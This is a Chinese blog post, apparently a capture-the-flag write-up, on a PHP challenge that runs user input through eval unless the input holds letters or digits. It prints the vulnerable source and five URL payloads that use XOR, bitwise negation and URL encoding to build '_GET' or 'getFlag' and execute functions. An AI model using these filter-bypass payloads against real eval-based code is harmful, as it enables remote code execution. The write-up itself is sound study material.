Ywc's blog

不包含数字和字母的webshell

Word count: 460Reading time: 2 min
2018/11/08

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 “getFlag”,然后动态执行之即可。

那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。

payload one

1
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

构造一个变量_ 变量的值为_GET 执行$_GET[_]($_GET[__])

payload two

1
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

把getFlag取反然后URL编码

payload three

1
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

~{} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数

payload four

1
?code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $啊

strlen($code)>50时,还可以用

1
?code=${"!"^"~"}="]%];,<<"^":@)}@][";${"!"^"~"}();

参考文章:

CATALOG
  1. 1. 题目